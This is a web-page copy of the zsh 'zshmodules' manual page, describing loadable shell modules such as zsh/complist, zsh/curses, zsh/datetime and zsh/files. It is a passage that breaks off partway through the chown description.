              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1871 - Linux cli command zshmodules

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshmodules and provides detailed information about the command zshmodules, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshmodules.

NAME 🖥️ zshmodules 🖥️

zsh loadable modules

DESCRIPTION

Some optional parts of zsh are in modules, separate from the core of the shell. Each of these modules may be linked in to the shell at build time, or can be dynamically linked while the shell is running if the installation supports this feature. Modules are linked at runtime with the zmodload command, see zshbuiltins(1).

The modules that are bundled with the zsh distribution are:

zsh/attr Builtins for manipulating extended attributes (xattr).

zsh/cap
Builtins for manipulating POSIX.1e (POSIX.6) capability (privilege) sets.

zsh/clone
A builtin that can clone a running shell onto another terminal.

zsh/compctl
The compctl builtin for controlling completion.

zsh/complete
The basic completion code.

zsh/complist
Completion listing extensions.

zsh/computil
A module with utility builtins needed for the shell function based completion system.

zsh/curses
curses windowing commands

zsh/datetime
Some date/time commands and parameters.

zsh/db/gdbm
Builtins for managing associative array parameters tied to GDBM databases.

zsh/deltochar
A ZLE function duplicating EMACS’ zap-to-char.

zsh/example
An example of how to write a module.

zsh/files
Some basic file manipulation commands as builtins.

zsh/langinfo
Interface to locale information.

zsh/mapfile
Access to external files via a special associative array.

zsh/mathfunc
Standard scientific functions for use in mathematical evaluations.

zsh/nearcolor
Map colours to the nearest colour in the available palette.

zsh/newuser
Arrange for files for new users to be installed.

zsh/parameter
Access to internal hash tables via special associative arrays.

zsh/pcre
Interface to the PCRE library.

zsh/param/private
Builtins for managing private-scoped parameters in function context.

zsh/regex
Interface to the POSIX regex library.

zsh/sched
A builtin that provides a timed execution facility within the shell.

zsh/net/socket
Manipulation of Unix domain sockets

zsh/stat
A builtin command interface to the stat system call.

zsh/system
A builtin interface to various low-level system features.

zsh/net/tcp
Manipulation of TCP sockets

zsh/termcap
Interface to the termcap database.

zsh/terminfo
Interface to the terminfo database.

zsh/watch
Reporting of login and logout events.

zsh/zftp
A builtin FTP client.

zsh/zle
The Zsh Line Editor, including the bindkey and vared builtins.

zsh/zleparameter
Access to internals of the Zsh Line Editor via parameters.

zsh/zprof
A module allowing profiling for shell functions.

zsh/zpty
A builtin for starting a command in a pseudo-terminal.

zsh/zselect
Block and return when file descriptors are ready.

zsh/zutil
Some utility builtins, e.g. the one for supporting configuration via styles.

THE ZSH/ATTR MODULE

The zsh/attr module is used for manipulating extended attributes. The -h option causes all commands to operate on symbolic links instead of their targets. The builtins in this module are:

zgetattr [ -h ] filename attribute [ parameter ] Get the extended attribute attribute from the specified filename. If the optional argument parameter is given, the attribute is set on that parameter instead of being printed to stdout.

zsetattr [ -h ] filename attribute value
Set the extended attribute attribute on the specified filename to value.

zdelattr [ -h ] filename attribute
Remove the extended attribute attribute from the specified filename.

zlistattr [ -h ] filename [ parameter ]
List the extended attributes currently set on the specified filename. If the optional argument parameter is given, the list of attributes is set on that parameter instead of being printed to stdout.

zgetattr and zlistattr allocate memory dynamically. If the attribute or list of attributes grows between the allocation and the call to get them, they return 2. On all other errors, 1 is returned. This allows the calling function to check for this case and retry.

THE ZSH/CAP MODULE

The zsh/cap module is used for manipulating POSIX.1e (POSIX.6) capability sets. If the operating system does not support this interface, the builtins defined by this module will do nothing. The builtins in this module are:

cap [ capabilities ] Change the shell’s process capability sets to the specified capabilities, otherwise display the shell’s current capabilities.

getcap filename
This is a built-in implementation of the POSIX standard utility. It displays the capability sets on each specified filename.

setcap capabilities filename
This is a built-in implementation of the POSIX standard utility. It sets the capability sets on each specified filename to the specified capabilities.

THE ZSH/CLONE MODULE

The zsh/clone module makes available one builtin command:

clone tty Creates a forked instance of the current shell, attached to the specified tty. In the new shell, the PID, PPID and TTY special parameters are changed appropriately. $! is set to zero in the new shell, and to the new shell’s PID in the original shell.

The return status of the builtin is zero in both shells if successful, and non-zero on error.

The target of clone should be an unused terminal, such as an unused virtual console or a virtual terminal created by

xterm -e sh -c ’trap : INT QUIT TSTP; tty; while :; do sleep 100000000; done'

Some words of explanation are warranted about this long xterm command line: when doing clone on a pseudo-terminal, some other session (“session” meant as a unix session group, or SID) is already owning the terminal. Hence the cloned zsh cannot acquire the pseudo-terminal as a controlling tty. That means two things:

· the job control signals will go to the sh-started-by-xterm process group (that’s why we disable INT QUIT and TSTP with trap; otherwise the while loop could get suspended or killed)

·
the cloned shell will have job control disabled, and the job control keys (control-C, control-\ and control-Z) will not work.

This does not apply when cloning to an unused vc.

Cloning to a used (and unprepared) terminal will result in two processes reading simultaneously from the same terminal, with input bytes going randomly to either process.

clone is mostly useful as a shell built-in replacement for openvt.

THE ZSH/COMPCTL MODULE

The zsh/compctl module makes available two builtin commands. compctl, is the old, deprecated way to control completions for ZLE. See zshcompctl(1). The other builtin command, compcall can be used in user-defined completion widgets, see zshcompwid(1).

THE ZSH/COMPLETE MODULE

The zsh/complete module makes available several builtin commands which can be used in user-defined completion widgets, see zshcompwid(1).

THE ZSH/COMPLIST MODULE

The zsh/complist module offers three extensions to completion listings: the ability to highlight matches in such a list, the ability to scroll through long lists and a different style of menu completion.

Colored completion listings

Whenever one of the parameters ZLS_COLORS or ZLS_COLOURS is set and the zsh/complist module is loaded or linked into the shell, completion lists will be colored. Note, however, that complist will not automatically be loaded if it is not linked in: on systems with dynamic loading, `zmodload zsh/complist’ is required.

The parameters ZLS_COLORS and ZLS_COLOURS describe how matches are highlighted. To turn on highlighting an empty value suffices, in which case all the default values given below will be used. The format of the value of these parameters is the same as used by the GNU version of the ls command: a colon-separated list of specifications of the form `name**=**value’. The name may be one of the following strings, most of which specify file types for which the value will be used. The strings and their default values are:

no 0 for normal text (i.e. when displaying something other than a matched file)

fi 0
for regular files

di 32
for directories

ln 36
for symbolic links. If this has the special value target, symbolic links are dereferenced and the target file used to determine the display format.

pi 31
for named pipes (FIFOs)

so 33
for sockets

bd 44;37
for block devices

cd 44;37
for character devices

or none
for a symlink to nonexistent file (default is the value defined for ln)

mi none
for a non-existent file (default is the value defined for fi); this code is currently not used

su 37;41
for files with setuid bit set

sg 30;43
for files with setgid bit set

tw 30;42
for world writable directories with sticky bit set

ow 34;43
for world writable directories without sticky bit set

sa none
for files with an associated suffix alias; this is only tested after specific suffixes, as described below

st 37;44
for directories with sticky bit set but not world writable

ex 35
for executable files

lc [
for the left code (see below)

rc m
for the right code

tc 0
for the character indicating the file type printed after filenames if the LIST_TYPES option is set

sp 0
for the spaces printed after matches to align the next column

ec none
for the end code

Apart from these strings, the name may also be an asterisk (`*’) followed by any string. The value given for such a string will be used for all files whose name ends with the string. The name may also be an equals sign (`=’) followed by a pattern; the EXTENDED_GLOB option will be turned on for evaluation of the pattern. The value given for this pattern will be used for all matches (not just filenames) whose display string are matched by the pattern. Definitions for the form with the leading equal sign take precedence over the values defined for file types, which in turn take precedence over the form with the leading asterisk (file extensions).

The leading-equals form also allows different parts of the displayed strings to be colored differently. For this, the pattern has to use the `(#b)’ globbing flag and pairs of parentheses surrounding the parts of the strings that are to be colored differently. In this case the value may consist of more than one color code separated by equal signs. The first code will be used for all parts for which no explicit code is specified and the following codes will be used for the parts matched by the sub-patterns in parentheses. For example, the specification `=(#b)(?)*(?)=0=3=7’ will be used for all matches which are at least two characters long and will use the code `3’ for the first character, `7’ for the last character and `0’ for the rest.

All three forms of name may be preceded by a pattern in parentheses. If this is given, the value will be used only for matches in groups whose names are matched by the pattern given in the parentheses. For example, `(g*)m*=43’ highlights all matches beginning with `m’ in groups whose names begin with `g’ using the color code `43’. In case of the `lc’, `rc’, and `ec’ codes, the group pattern is ignored.

Note also that all patterns are tried in the order in which they appear in the parameter value until the first one matches which is then used. Patterns may be matched against completions, descriptions (possibly with spaces appended for padding), or lines consisting of a completion followed by a description. For consistent coloring it may be necessary to use more than one pattern or a pattern with backreferences.

When printing a match, the code prints the value of lc, the value for the file-type or the last matching specification with a `*’, the value of rc, the string to display for the match itself, and then the value of ec if that is defined or the values of lc, no, and rc if ec is not defined.

The default values are ISO 6429 (ANSI) compliant and can be used on vt100 compatible terminals such as xterms. On monochrome terminals the default values will have no visible effect. The colors function from the contribution can be used to get associative arrays containing the codes for ANSI terminals (see the section `Other Functions’ in zshcontrib(1)). For example, after loading colors, one could use `$color[red]’ to get the code for foreground color red and `$color[bg-green]’ for the code for background color green.

If the completion system invoked by compinit is used, these parameters should not be set directly because the system controls them itself. Instead, the list-colors style should be used (see the section `Completion System Configuration’ in zshcompsys(1)).

Scrolling in completion listings

To enable scrolling through a completion list, the LISTPROMPT parameter must be set. Its value will be used as the prompt; if it is the empty string, a default prompt will be used. The value may contain escapes of the form `%x’. It supports the escapes `%B’, `%b’, `%S’, `%s’, `%U’, `%u’, `%F’, `%f’, `%K’, `%k’ and `%{%}’ used also in shell prompts as well as three pairs of additional sequences: a `%l’ or `%L’ is replaced by the number of the last line shown and the total number of lines in the form `number**/total’; a `%m**’ or `%M’ is replaced with the number of the last match shown and the total number of matches; and `%p’ or `%P’ is replaced with `Top’, `Bottom’ or the position of the first line shown in percent of the total number of lines, respectively. In each of these cases the form with the uppercase letter will be replaced with a string of fixed width, padded to the right with spaces, while the lowercase form will not be padded.

If the parameter LISTPROMPT is set, the completion code will not ask if the list should be shown. Instead it immediately starts displaying the list, stopping after the first screenful, showing the prompt at the bottom, waiting for a keypress after temporarily switching to the listscroll keymap. Some of the zle functions have a special meaning while scrolling lists:

send-break stops listing discarding the key pressed

accept-line, down-history, down-line-or-history

down-line-or-search, vi-down-line-or-history scrolls forward one line

complete-word, menu-complete, expand-or-complete

expand-or-complete-prefix, menu-complete-or-expand scrolls forward one screenful

accept-search
stop listing but take no other action

Every other character stops listing and immediately processes the key as usual. Any key that is not bound in the listscroll keymap or that is bound to undefined-key is looked up in the keymap currently selected.

As for the ZLS_COLORS and ZLS_COLOURS parameters, LISTPROMPT should not be set directly when using the shell function based completion system. Instead, the list-prompt style should be used.

The zsh/complist module also offers an alternative style of selecting matches from a list, called menu selection, which can be used if the shell is set up to return to the last prompt after showing a completion list (see the ALWAYS_LAST_PROMPT option in zshoptions(1)).

Menu selection can be invoked directly by the widget menu-select defined by this module. This is a standard ZLE widget that can be bound to a key in the usual way as described in zshzle(1).

Alternatively, the parameter MENUSELECT can be set to an integer, which gives the minimum number of matches that must be present before menu selection is automatically turned on. This second method requires that menu completion be started, either directly from a widget such as menu-complete, or due to one of the options MENU_COMPLETE or AUTO_MENU being set. If MENUSELECT is set, but is 0, 1 or empty, menu selection will always be started during an ambiguous menu completion.

When using the completion system based on shell functions, the MENUSELECT parameter should not be used (like the ZLS_COLORS and ZLS_COLOURS parameters described above). Instead, the menu style should be used with the select= keyword.

After menu selection is started, the matches will be listed. If there are more matches than fit on the screen, only the first screenful is shown. The matches to insert into the command line can be selected from this list. In the list one match is highlighted using the value for ma from the ZLS_COLORS or ZLS_COLOURS parameter. The default value for this is `7’ which forces the selected match to be highlighted using standout mode on a vt100-compatible terminal. If neither ZLS_COLORS nor ZLS_COLOURS is set, the same terminal control sequence as for the `%S’ escape in prompts is used.

If there are more matches than fit on the screen and the parameter MENUPROMPT is set, its value will be shown below the matches. It supports the same escape sequences as LISTPROMPT, but the number of the match or line shown will be that of the one where the mark is placed. If its value is the empty string, a default prompt will be used.

The MENUSCROLL parameter can be used to specify how the list is scrolled. If the parameter is unset, this is done line by line, if it is set to `0’ (zero), the list will scroll half the number of lines of the screen. If the value is positive, it gives the number of lines to scroll and if it is negative, the list will be scrolled the number of lines of the screen minus the (absolute) value.

As for the ZLS_COLORS, ZLS_COLOURS and LISTPROMPT parameters, neither MENUPROMPT nor MENUSCROLL should be set directly when using the shell function based completion system. Instead, the select-prompt and select-scroll styles should be used.

The completion code sometimes decides not to show all of the matches in the list. These hidden matches are either matches for which the completion function which added them explicitly requested that they not appear in the list (using the -n option of the compadd builtin command) or they are matches which duplicate a string already in the list (because they differ only in things like prefixes or suffixes that are not displayed). In the list used for menu selection, however, even these matches are shown so that it is possible to select them. To highlight such matches the hi and du capabilities in the ZLS_COLORS and ZLS_COLOURS parameters are supported for hidden matches of the first and second kind, respectively.

Selecting matches is done by moving the mark around using the zle movement functions. When not all matches can be shown on the screen at the same time, the list will scroll up and down when crossing the top or bottom line. The following zle functions have special meaning during menu selection. Note that the following always perform the same task within the menu selection map and cannot be replaced by user defined widgets, nor can the set of functions be extended:

accept-line, accept-search accept the current match and leave menu selection (but do not cause the command line to be accepted)

send-break
leaves menu selection and restores the previous contents of the command line

redisplay, clear-screen
execute their normal function without leaving menu selection

accept-and-hold, accept-and-menu-complete
accept the currently inserted match and continue selection allowing to select the next match to insert into the line

accept-and-infer-next-history
accepts the current match and then tries completion with menu selection again; in the case of files this allows one to select a directory and immediately attempt to complete files in it; if there are no matches, a message is shown and one can use undo to go back to completion on the previous level, every other key leaves menu selection (including the other zle functions which are otherwise special during menu selection)

undo
removes matches inserted during the menu selection by one of the three functions before

down-history, down-line-or-history

vi-down-line-or-history, down-line-or-search moves the mark one line down

up-history, up-line-or-history

vi-up-line-or-history, up-line-or-search moves the mark one line up

forward-char, vi-forward-char
moves the mark one column right

backward-char, vi-backward-char
moves the mark one column left

forward-word, vi-forward-word

vi-forward-word-end, emacs-forward-word moves the mark one screenful down

backward-word, vi-backward-word, emacs-backward-word
moves the mark one screenful up

vi-forward-blank-word, vi-forward-blank-word-end
moves the mark to the first line of the next group of matches

vi-backward-blank-word
moves the mark to the last line of the previous group of matches

beginning-of-history
moves the mark to the first line

end-of-history
moves the mark to the last line

beginning-of-buffer-or-history, beginning-of-line

beginning-of-line-hist, vi-beginning-of-line moves the mark to the leftmost column

end-of-buffer-or-history, end-of-line

end-of-line-hist, vi-end-of-line moves the mark to the rightmost column

complete-word, menu-complete, expand-or-complete

expand-or-complete-prefix, menu-expand-or-complete moves the mark to the next match

reverse-menu-complete
moves the mark to the previous match

vi-insert
this toggles between normal and interactive mode; in interactive mode the keys bound to self-insert and self-insert-unmeta insert into the command line as in normal editing mode but without leaving menu selection; after each character completion is tried again and the list changes to contain only the new matches; the completion widgets make the longest unambiguous string be inserted in the command line and undo and backward-delete-char go back to the previous set of matches

history-incremental-search-forward

history-incremental-search-backward this starts incremental searches in the list of completions displayed; in this mode, accept-line only leaves incremental search, going back to the normal menu selection mode

All movement functions wrap around at the edges; any other zle function not listed leaves menu selection and executes that function. It is possible to make widgets in the above list do the same by using the form of the widget with a `.’ in front. For example, the widget `.accept-line’ has the effect of leaving menu selection and accepting the entire command line.

During this selection the widget uses the keymap menuselect. Any key that is not defined in this keymap or that is bound to undefined-key is looked up in the keymap currently selected. This is used to ensure that the most important keys used during selection (namely the cursor keys, return, and TAB) have sensible defaults. However, keys in the menuselect keymap can be modified directly using the bindkey builtin command (see zshmodules(1)). For example, to make the return key leave menu selection without accepting the match currently selected one could call

bindkey -M menuselect ‘^M’ send-break

after loading the zsh/complist module.

THE ZSH/COMPUTIL MODULE

The zsh/computil module adds several builtin commands that are used by some of the completion functions in the completion system based on shell functions (see zshcompsys(1) ). Except for compquote these builtin commands are very specialised and thus not very interesting when writing your own completion functions. In summary, these builtin commands are:

comparguments This is used by the _arguments function to do the argument and command line parsing. Like compdescribe it has an option -i to do the parsing and initialize some internal state and various options to access the state information to decide what should be completed.

compdescribe
This is used by the _describe function to build the displays for the matches and to get the strings to add as matches with their options. On the first call one of the options -i or -I should be supplied as the first argument. In the first case, display strings without the descriptions will be generated, in the second case, the string used to separate the matches from their descriptions must be given as the second argument and the descriptions (if any) will be shown. All other arguments are like the definition arguments to _describe itself.

Once compdescribe has been called with either the -i or the -I option, it can be repeatedly called with the -g option and the names of four parameters as its arguments. This will step through the different sets of matches and store the value of compstate[list] in the first scalar, the options for compadd in the second array, the matches in the third array, and the strings to be displayed in the completion listing in the fourth array. The arrays may then be directly given to compadd to register the matches with the completion code.

compfiles
Used by the _path_files function to optimize complex recursive filename generation (globbing). It does three things. With the -p and -P options it builds the glob patterns to use, including the paths already handled and trying to optimize the patterns with respect to the prefix and suffix from the line and the match specification currently used. The -i option does the directory tests for the ignore-parents style and the -r option tests if a component for some of the matches are equal to the string on the line and removes all other matches if that is true.

compgroups
Used by the _tags function to implement the internals of the group-order style. This only takes its arguments as names of completion groups and creates the groups for it (all six types: sorted and unsorted, both without removing duplicates, with removing all duplicates and with removing consecutive duplicates).

compquote [ -p ] names
There may be reasons to write completion functions that have to add the matches using the -Q option to compadd and perform quoting themselves. Instead of interpreting the first character of the all_quotes key of the compstate special association and using the q flag for parameter expansions, one can use this builtin command. The arguments are the names of scalar or array parameters and the values of these parameters are quoted as needed for the innermost quoting level. If the -p option is given, quoting is done as if there is some prefix before the values of the parameters, so that a leading equal sign will not be quoted.

The return status is non-zero in case of an error and zero otherwise.

comptags

comptry These implement the internals of the tags mechanism.

compvalues
Like comparguments, but for the _values function.

THE ZSH/CURSES MODULE

The zsh/curses module makes available one builtin command and various parameters.

Builtin

zcurses init

zcurses end

zcurses addwin targetwin nlines ncols begin_y begin_x [ parentwin ]

zcurses delwin targetwin

zcurses refresh [ targetwin … ]

zcurses touch targetwin

zcurses move targetwin new_y new_x

zcurses clear targetwin [ redraw | eol | bot ]

zcurses position targetwin array

zcurses char targetwin character

zcurses string targetwin string

zcurses border targetwin border

zcurses attr targetwin [ [+|-]attribute | fg_col**/**bg_col ] […]

zcurses bg targetwin [ [+|-]attribute | fg_col**/**bg_col | **@**char ] […]

zcurses scroll targetwin [ on | off | [+|-]lines ]

zcurses input targetwin [ param [ kparam [ mparam ] ] ]

zcurses mouse [ delay num | [+|-]motion ]

zcurses timeout targetwin intval

zcurses querychar targetwin [ param ]

zcurses resize height width [ endwin | nosave | endwin_nosave ] Manipulate curses windows. All uses of this command should be bracketed by `zcurses init’ to initialise use of curses, and `zcurses end’ to end it; omitting `zcurses end’ can cause the terminal to be in an unwanted state.

The subcommand addwin creates a window with nlines lines and ncols columns. Its upper left corner will be placed at row begin_y and column begin_x of the screen. targetwin is a string and refers to the name of a window that is not currently assigned. Note in particular the curses convention that vertical values appear before horizontal values.

If addwin is given an existing window as the final argument, the new window is created as a subwindow of parentwin. This differs from an ordinary new window in that the memory of the window contents is shared with the parent’s memory. Subwindows must be deleted before their parent. Note that the coordinates of subwindows are relative to the screen, not the parent, as with other windows.

Use the subcommand delwin to delete a window created with addwin. Note that end does not implicitly delete windows, and that delwin does not erase the screen image of the window.

The window corresponding to the full visible screen is called stdscr; it always exists after `zcurses init’ and cannot be delete with delwin.

The subcommand refresh will refresh window targetwin; this is necessary to make any pending changes (such as characters you have prepared for output with char) visible on the screen. refresh without an argument causes the screen to be cleared and redrawn. If multiple windows are given, the screen is updated once at the end.

The subcommand touch marks the targetwins listed as changed. This is necessary before refreshing windows if a window that was in front of another window (which may be stdscr) is deleted.

The subcommand move moves the cursor position in targetwin to new coordinates new_y and new_x. Note that the subcommand string (but not the subcommand char) advances the cursor position over the characters added.

The subcommand clear erases the contents of targetwin. One (and no more than one) of three options may be specified. With the option redraw, in addition the next refresh of targetwin will cause the screen to be cleared and repainted. With the option eol, targetwin is only cleared to the end of the current cursor line. With the option bot, targetwin is cleared to the end of the window, i.e everything to the right and below the cursor is cleared.

The subcommand position writes various positions associated with targetwin into the array named array. These are, in order:

-
The y and x coordinates of the cursor relative to the top left of targetwin

-
The y and x coordinates of the top left of targetwin on the screen

-
The size of targetwin in y and x dimensions.

Outputting characters and strings are achieved by char and string respectively.

To draw a border around window targetwin, use border. Note that the border is not subsequently handled specially: in other words, the border is simply a set of characters output at the edge of the window. Hence it can be overwritten, can scroll off the window, etc.

The subcommand attr will set targetwin’s attributes or foreground/background color pair for any successive character output. Each attribute given on the line may be prepended by a + to set or a - to unset that attribute; + is assumed if absent. The attributes supported are blink, bold, dim, reverse, standout, and underline.

Each fg_col**/bg_col attribute (to be read as `fg_col on bg_col’) sets the foreground and background color for character output. The color default is sometimes available (in particular if the library is ncurses), specifying the foreground or background color with which the terminal started. The color pair default/default is always available. To use more than the 8 named colors (red, green, etc.) construct the fg_col/**bg_col pairs where fg_col and bg_col are decimal integers, e.g 128/200. The maximum color value is 254 if the terminal supports 256 colors.

bg overrides the color and other attributes of all characters in the window. Its usual use is to set the background initially, but it will overwrite the attributes of any characters at the time when it is called. In addition to the arguments allowed with attr, an argument **@**char specifies a character to be shown in otherwise blank areas of the window. Owing to limitations of curses this cannot be a multibyte character (use of ASCII characters only is recommended). As the specified set of attributes override the existing background, turning attributes off in the arguments is not useful, though this does not cause an error.

The subcommand scroll can be used with on or off to enabled or disable scrolling of a window when the cursor would otherwise move below the window due to typing or output. It can also be used with a positive or negative integer to scroll the window up or down the given number of lines without changing the current cursor position (which therefore appears to move in the opposite direction relative to the window). In the second case, if scrolling is off it is temporarily turned on to allow the window to be scrolled.

The subcommand input reads a single character from the window without echoing it back. If param is supplied the character is assigned to the parameter param, else it is assigned to the parameter REPLY.

If both param and kparam are supplied, the key is read in `keypad’ mode. In this mode special keys such as function keys and arrow keys return the name of the key in the parameter kparam. The key names are the macros defined in the curses.h or ncurses.h with the prefix `KEY_’ removed; see also the description of the parameter zcurses_keycodes below. Other keys cause a value to be set in param as before. On a successful return only one of param or kparam contains a non-empty string; the other is set to an empty string.

If mparam is also supplied, input attempts to handle mouse input. This is only available with the ncurses library; mouse handling can be detected by checking for the exit status of `zcurses mouse’ with no arguments. If a mouse button is clicked (or double- or triple-clicked, or pressed or released with a configurable delay from being clicked) then kparam is set to the string MOUSE, and mparam is set to an array consisting of the following elements:

-
An identifier to discriminate different input devices; this is only rarely useful.

-
The x, y and z coordinates of the mouse click relative to the full screen, as three elements in that order (i.e. the y coordinate is, unusually, after the x coordinate). The z coordinate is only available for a few unusual input devices and is otherwise set to zero.

-
Any events that occurred as separate items; usually there will be just one. An event consists of PRESSED, RELEASED, CLICKED, DOUBLE_CLICKED or TRIPLE_CLICKED followed immediately (in the same element) by the number of the button.

-
If the shift key was pressed, the string SHIFT.

-
If the control key was pressed, the string CTRL.

-
If the alt key was pressed, the string ALT.

Not all mouse events may be passed through to the terminal window; most terminal emulators handle some mouse events themselves. Note that the ncurses manual implies that using input both with and without mouse handling may cause the mouse cursor to appear and disappear.

The subcommand mouse can be used to configure the use of the mouse. There is no window argument; mouse options are global. `zcurses mouse’ with no arguments returns status 0 if mouse handling is possible, else status 1. Otherwise, the possible arguments (which may be combined on the same command line) are as follows. delay num sets the maximum delay in milliseconds between press and release events to be considered as a click; the value 0 disables click resolution, and the default is one sixth of a second. motion proceeded by an optional `+’ (the default) or - turns on or off reporting of mouse motion in addition to clicks, presses and releases, which are always reported. However, it appears reports for mouse motion are not currently implemented.

The subcommand timeout specifies a timeout value for input from targetwin. If intval is negative, `zcurses input’ waits indefinitely for a character to be typed; this is the default. If intval is zero, `zcurses input’ returns immediately; if there is typeahead it is returned, else no input is done and status 1 is returned. If intval is positive, `zcurses input’ waits intval milliseconds for input and if there is none at the end of that period returns status 1.

The subcommand querychar queries the character at the current cursor position. The return values are stored in the array named param if supplied, else in the array reply. The first value is the character (which may be a multibyte character if the system supports them); the second is the color pair in the usual fg_col**/**bg_col notation, or 0 if color is not supported. Any attributes other than color that apply to the character, as set with the subcommand attr, appear as additional elements.

The subcommand resize resizes stdscr and all windows to given dimensions (windows that stick out from the new dimensions are resized down). The underlying curses extension (resize_term call) can be unavailable. To verify, zeroes can be used for height and width. If the result of the subcommand is 0, resize_term is available (2 otherwise). Tests show that resizing can be normally accomplished by calling zcurses end and zcurses refresh. The resize subcommand is provided for versatility. Multiple system configurations have been checked and zcurses end and zcurses refresh are still needed for correct terminal state after resize. To invoke them with resize, use endwin argument. Using nosave argument will cause new terminal state to not be saved internally by zcurses. This is also provided for versatility and should normally be not needed.

Parameters

ZCURSES_COLORS Readonly integer. The maximum number of colors the terminal supports. This value is initialised by the curses library and is not available until the first time zcurses init is run.

ZCURSES_COLOR_PAIRS
Readonly integer. The maximum number of color pairs fg_col**/**bg_col that may be defined in `zcurses attr’ commands; note this limit applies to all color pairs that have been used whether or not they are currently active. This value is initialised by the curses library and is not available until the first time zcurses init is run.

zcurses_attrs
Readonly array. The attributes supported by zsh/curses; available as soon as the module is loaded.

zcurses_colors
Readonly array. The colors supported by zsh/curses; available as soon as the module is loaded.

zcurses_keycodes
Readonly array. The values that may be returned in the second parameter supplied to `zcurses input’ in the order in which they are defined internally by curses. Not all function keys are listed, only F0; curses reserves space for F0 up to F63.

zcurses_windows
Readonly array. The current list of windows, i.e. all windows that have been created with `zcurses addwin’ and not removed with `zcurses delwin’.

THE ZSH/DATETIME MODULE

The zsh/datetime module makes available one builtin command:

strftime [ -s scalar | -n ] format [ epochtime [ nanoseconds ] ]

strftime -r [ -q ] [ -s scalar | -n ] format timestring Output the date in the format specified. With no epochtime, the current system date/time is used; optionally, epochtime may be used to specify the number of seconds since the epoch, and nanoseconds may additionally be used to specify the number of nanoseconds past the second (otherwise that number is assumed to be 0). See strftime(3) for details. The zsh extensions described in the section EXPANSION OF PROMPT SEQUENCES in zshmisc(1) are also available.

-n Suppress printing a newline after the formatted string.

-q
Run quietly; suppress printing of all error messages described below. Errors for invalid epochtime values are always printed.

-r
With the option -r (reverse), use format to parse the input string timestring and output the number of seconds since the epoch at which the time occurred. The parsing is implemented by the system function strptime; see strptime(3). This means that zsh format extensions are not available, but for reverse lookup they are not required.

In most implementations of strftime any timezone in the timestring is ignored and the local timezone declared by the TZ environment variable is used; other parameters are set to zero if not present.

If timestring does not match format the command returns status 1 and prints an error message. If timestring matches format but not all characters in timestring were used, the conversion succeeds but also prints an error message.

If either of the system functions strptime or mktime is not available, status 2 is returned and an error message is printed.

-s scalar
Assign the date string (or epoch time in seconds if -r is given) to scalar instead of printing it.

Note that depending on the system’s declared integral time type, strftime may produce incorrect results for epoch times greater than 2147483647 which corresponds to 2038-01-19 03:14:07 +0000.

The zsh/datetime module makes available several parameters; all are readonly:

EPOCHREALTIME A floating point value representing the number of seconds since the epoch. The notional accuracy is to nanoseconds if the clock_gettime call is available and to microseconds otherwise, but in practice the range of double precision floating point and shell scheduling latencies may be significant effects.

EPOCHSECONDS
An integer value representing the number of seconds since the epoch.

epochtime
An array value containing the number of seconds since the epoch in the first element and the remainder of the time since the epoch in nanoseconds in the second element. To ensure the two elements are consistent the array should be copied or otherwise referenced as a single substitution before the values are used. The following idiom may be used:

for secs nsecs in $epochtime; do … done

THE ZSH/DB/GDBM MODULE

The zsh/db/gdbm module is used to create “tied” associative arrays that interface to database files. If the GDBM interface is not available, the builtins defined by this module will report an error. This module is also intended as a prototype for creating additional database interfaces, so the ztie builtin may move to a more generic module in the future.

The builtins in this module are:

ztie -d db/gdbm -f filename [ -r ] arrayname Open the GDBM database identified by filename and, if successful, create the associative array arrayname linked to the file. To create a local tied array, the parameter must first be declared, so commands similar to the following would be executed inside a function scope:

local -A sampledb ztie -d db/gdbm -f sample.gdbm sampledb

The -r option opens the database file for reading only, creating a parameter with the readonly attribute. Without this option, using `ztie’ on a file for which the user does not have write permission is an error. If writable, the database is opened synchronously so fields changed in arrayname are immediately written to filename.

Changes to the file modes filename after it has been opened do not alter the state of arrayname, but `typeset -r arrayname’ works as expected.

zuntie [ -u ] arrayname
Close the GDBM database associated with each arrayname and then unset the parameter. The -u option forces an unset of parameters made readonly with `ztie -r'.

This happens automatically if the parameter is explicitly unset or its local scope (function) ends. Note that a readonly parameter may not be explicitly unset, so the only way to unset a global parameter created with `ztie -r’ is to use `zuntie -u'.

zgdbmpath parametername
Put path to database file assigned to parametername into REPLY scalar.

zgdbm_tied
Array holding names of all tied parameters.

The fields of an associative array tied to GDBM are neither cached nor otherwise stored in memory, they are read from or written to the database on each reference. Thus, for example, the values in a readonly array may be changed by a second writer of the same database file.

THE ZSH/DELTOCHAR MODULE

The zsh/deltochar module makes available two ZLE functions:

delete-to-char Read a character from the keyboard, and delete from the cursor position up to and including the next (or, with repeat count n, the nth) instance of that character. Negative repeat counts mean delete backwards.

zap-to-char
This behaves like delete-to-char, except that the final occurrence of the character itself is not deleted.

THE ZSH/EXAMPLE MODULE

The zsh/example module makes available one builtin command:

example [ -flags ] [ args … ] Displays the flags and arguments it is invoked with.

The purpose of the module is to serve as an example of how to write a module.

THE ZSH/FILES MODULE

The zsh/files module makes available some common commands for file manipulation as builtins; these commands are probably not needed for many normal situations but can be useful in emergency recovery situations with constrained resources. The commands do not implement all features now required by relevant standards committees.

For all commands, a variant beginning zf_ is also available and loaded automatically. Using the features capability of zmodload will let you load only those names you want. Note that it’s possible to load only the builtins with zsh-specific names using the following command:

zmodload -m -F zsh/files b:zf_*

The commands loaded by default are:

chgrp [ -hRs ] group filename … Changes group of files specified. This is equivalent to chown with a user-spec argument of `**:**group'.

chmod [ -Rs ] mode filename
Changes mode of files specified.

The specified mode must be in octal.

The -R option causes chmod to recursively descend into directories, changing the mode of all files in the directory after changing the mode of the directory itself.

The -s option is a zsh extension to chmod functionality. It enables paranoid behaviour, intended to avoid security problems involving a chmod being tricked into affecting files other than the ones intended. It will refuse to follow symbolic links, so that (for example) ``chmod 600 /tmp/foo/passwd’’ can’t accidentally chmod /etc/passwd if /tmp/foo happens to be a link to /etc. It will also check where it is after leaving directories, so that a recursive chmod of a deep directory tree can’t end up recursively chmoding /usr as a result of directories being moved up the tree.

chown [ -hRs ] user-spec filename
Changes ownership and group of files specified.

The user-spec can be in four forms:

user
change owner to user; do not change group

user**::**
